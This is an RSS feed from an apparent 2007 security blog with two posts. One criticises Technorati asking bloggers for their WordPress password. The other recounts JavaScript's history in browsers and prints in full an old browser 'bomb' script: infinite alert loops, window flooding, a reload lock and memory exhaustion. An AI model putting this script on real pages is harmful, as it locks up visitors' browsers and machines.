<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gilbert Verdian - I Secure Enterprises &#187; web security</title>
	<atom:link href="http://www.gilbertverdian.com/security/category/security/web-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gilbertverdian.com/security</link>
	<description>talking about security, from the front line</description>
	<lastBuildDate>Sun, 08 Nov 2009 10:52:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Technorati Quick Claim &#8211; May I have your username and password please?</title>
		<link>http://www.gilbertverdian.com/security/2007/07/technorati-quick-claim-can-i-have-your-username-and-password-please/</link>
		<comments>http://www.gilbertverdian.com/security/2007/07/technorati-quick-claim-can-i-have-your-username-and-password-please/#comments</comments>
		<pubDate>Fri, 13 Jul 2007 13:49:23 +0000</pubDate>
		<dc:creator>Gilbert Verdian</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.gilbertverdian.com/security/2007/07/technorati-quick-claim-can-i-have-your-username-and-password-please/</guid>
		<description><![CDATA[As I&#8217;m required to write this post to verify my blog using the traditional &#8220;Post Claim&#8221;, thought I might as well talk a little about it. In setting up my blog in technorati, they have a new option to do a &#8220;Quick Claim&#8221; to prove that you own this blog. This entails to give them [...]]]></description>
			<content:encoded><![CDATA[<p>As I&#8217;m required to write this post to verify my blog using the traditional &#8220;Post Claim&#8221;, thought I might as well talk a little about it. </p>
<p>In setting up my blog in technorati, they have a new option to do a &#8220;Quick Claim&#8221; to prove that you own this blog. This entails to give them your username and password to wordpress to log in and verify the blog. But don&#8217;t worry..</p>
<blockquote><p>Note: Remember to use the username and password for your WordPress account, not your Technorati account. This will only be used once to verify that you own the blog. It will not be stored in our system.</p></blockquote>
<p><a href='http://www.gilbertverdian.com/security/wp-content/uploads/2007/07/technorati-quick-claim.jpg' title='technorati-quick-claim.jpg'><img src='http://www.gilbertverdian.com/security/wp-content/uploads/2007/07/technorati-quick-claim.thumbnail.jpg' alt='technorati-quick-claim.jpg' /></a></p>
<p>Does anyone else see the problem with this? Here you go, here&#8217;s my wordpress login and password. Although it&#8217;s not &#8220;stored&#8221; in their system according to technorati, the details you input would have to be placed somewhere on disk (in a db?) or at least memory for the bots to read it and try to login to verify things. So what happens after it is read? </p>
<p>I know other online services such as google analytics, require you to upload a specific text file to the root of your site with only a key in the contents, which they then do a GET /file1234.html to verify that you own the site. Surely this is a better way, although a little more technical work is needed.  </p>
<script src="http://feeds.feedburner.com/~s/450480?i=http://www.gilbertverdian.com/security/2007/07/technorati-quick-claim-can-i-have-your-username-and-password-please/" type="text/javascript" charset="utf-8"></script>]]></content:encoded>
			<wfw:commentRss>http://www.gilbertverdian.com/security/2007/07/technorati-quick-claim-can-i-have-your-username-and-password-please/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Origins of Scripting Web Vulnerabilities in our Browsers</title>
		<link>http://www.gilbertverdian.com/security/2007/07/the-origins-of-scripting-web-vulnerabilities-in-our-browsers/</link>
		<comments>http://www.gilbertverdian.com/security/2007/07/the-origins-of-scripting-web-vulnerabilities-in-our-browsers/#comments</comments>
		<pubDate>Thu, 12 Jul 2007 13:48:48 +0000</pubDate>
		<dc:creator>Gilbert Verdian</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.gilbertverdian.com/security/2007/07/the-origins-of-scripting-web-vulnerabilities-in-our-browsers/</guid>
		<description><![CDATA[I was thinking of the current situation we are experiencing in Web vulnerabilities specifically with scripting and javascript. So I searched to find the source of when our browsers started to incorporate javascript and found the following: - Netscape 2.0 was the first version of Netscape to have javascript support – It was released in [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking of the current situation we are experiencing in Web vulnerabilities specifically with scripting and javascript. So I searched to find the source of when our browsers started to incorporate javascript and found the following:</p>
<p>	- Netscape 2.0 was the first version of Netscape to have javascript support – It was released in March 1996 <a href="http://wp.netscape.com/eng/mozilla/2.0/relnotes/windows-2.0.html">http://wp.netscape.com/eng/mozilla/2.0/relnotes/windows-2.0.html</a><br />
	- “Netscape version 2.0 introduced a bevy of must-have breakthrough features (frames, Java, Javascript and Plug-ins) which helped distance it from the pack…”<br />
<a href="http://www.eskimo.com/~bloo/indexdot/history/netscape.htm">http://www.eskimo.com/~bloo/indexdot/history/netscape.htm</a></p>
<p>The following slides have good background information on the javascript implementation:<br />
 <a href="http://www.geom.uiuc.edu/~slevy/si/u_pkg_java102/docs/javaone/industry/JavaScri.pdf">http://www.geom.uiuc.edu/~slevy/si/u_pkg_java102/docs/javaone/industry/JavaScri.pdf</a></p>
<p>On the Internet Explorer side, it was IE 3.0 released August 1996 which incorporated javascript. Just as important, they also included VBScript. </p>
<p>“Version 3 included Internet Mail and News 1.0 and the Windows Address Book. It also brought the browser much closer to the bar that had been set by Netscape, including the support of Netscape&#8217;s plugins technology (NPAPI), ActiveX,frames, and a reverse-engineered version of JavaScript named JScript. Later, Microsoft NetMeeting and Windows Media Player were integrated into the product and thus helper applications became not as necessary as they once were. Cascading Style Sheets (CSS) were also introduced with version 3 of Internet Explorer.” &#8211; <a href="http://en.wikipedia.org/wiki/History_of_Internet_Explorer">http://en.wikipedia.org/wiki/History_of_Internet_Explorer</a></p>
<p>It wasn’t long after this time where people found ways to abuse Javascript</p>
<p><code>[SCRIPT LANGUAGE="JavaScript"]</p>
<p>function AnnoyingButton()<br />
{<br />
   while (true)<br />
       window.alert("We have taken your Netscape session hostage.  Now give us your money, the girl and everything else you got or we're going to break your legs.")<br />
}</p>
<p>// Keep opening windows over and over again<br />
function WindowBomb()<br />
{<br />
    var iCounter = 0    // dummy counter</p>
<p>    while (true)<br />
      {<br />
        window.open("http://www.netscape.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")<br />
        iCounter++<br />
      }<br />
}</p>
<p>// Not as interesting as the other bombs, but this one forces the user to<br />
// stay at the current page.  User cannot switch to another page, or click<br />
// stop to stop the reloading.<br />
function ReloadBomb()<br />
{<br />
   history.go(0)                         // reload this page<br />
   window.setTimeout('ReloadBomb()',1)   // tell netscape to hit this function<br />
                                         // every milisecond =)<br />
}</p>
<p>// Not a very interesting bomb, it does nothing really :><br />
function WhileLoopLock()<br />
{<br />
   while (true){}</p>
<p>}</p>
<p>var szEatMemory = "GOBBLEGOBBLE"  // our string to consume our memory</p>
<p>// Now this function EatMemoryInTime is a interesting one that could be<br />
// placed on a timer for maximum nastiness :>  I have been able to get<br />
// up to 4Megs consumed by Netscape forcing my machine to crawl =)<br />
// AND it's time driven!  No while loops here!<br />
function EatMemoryInTime()<br />
{<br />
    szEatMemory = szEatMemory + szEatMemory                    // keep appending<br />
    window.status = "String Length is: " + szEatMemory.length  // report size<br />
    window.setTimeout('EatMemoryInTime()',1);                  // tell netscape to hit this function<br />
}</p>
<p>var iNumberOfIterations = 0;</p>
<p>// The Timeout bomb sets up 4 timers which then call itself again, and again<br />
// watch the status bar to see how man times this function gets called.<br />
function TimeBomb()<br />
{<br />
  window.status = "TimeBomb has been executed: " + iNumberOfIterations++ + " times";<br />
  window.setTimeout('TimeBomb()',1000);<br />
  window.setTimeout('TimeBomb()',1000);<br />
  window.setTimeout('TimeBomb()',1000);<br />
  window.setTimeout('TimeBomb()',1000);<br />
}</p>
<p>[/SCRIPT]</code></p>
<p>The above is a script from around that time which chews up CPU and memory, forcing you to do a hard reset in Windows 95.  </p>
<p>And so over 10 years later, scripting which was designed to enhance our web experience, is still being abused today, but in much different ways that assist in monetary gain for malicious purposes. </p>
<p>Maybe its time we re-architect our browsers and re-think how we should experience the web all over again?</p>
<script src="http://feeds.feedburner.com/~s/450480?i=http://www.gilbertverdian.com/security/2007/07/the-origins-of-scripting-web-vulnerabilities-in-our-browsers/" type="text/javascript" charset="utf-8"></script>]]></content:encoded>
			<wfw:commentRss>http://www.gilbertverdian.com/security/2007/07/the-origins-of-scripting-web-vulnerabilities-in-our-browsers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
